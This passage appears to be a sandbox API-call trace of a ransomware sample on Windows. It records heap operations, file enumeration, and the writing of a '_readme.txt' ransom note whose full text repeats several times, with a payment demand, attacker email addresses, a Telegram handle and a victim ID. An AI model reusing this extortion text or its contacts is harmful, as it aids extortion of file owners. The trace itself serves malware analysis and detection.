RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.106] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0059.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.106] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.106] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.106] PathFindFileNameW (pszPath="") returned="" [0059.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.106] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.106] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.107] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.107] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.107] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0059.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.107] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0059.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.108] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.108] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.108] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.109] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.109] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.109] CloseHandle (hObject=0x5c0) returned 1 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.110] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.110] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.110] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.110] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a595b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.110] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a595b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.110] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.110] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.113] 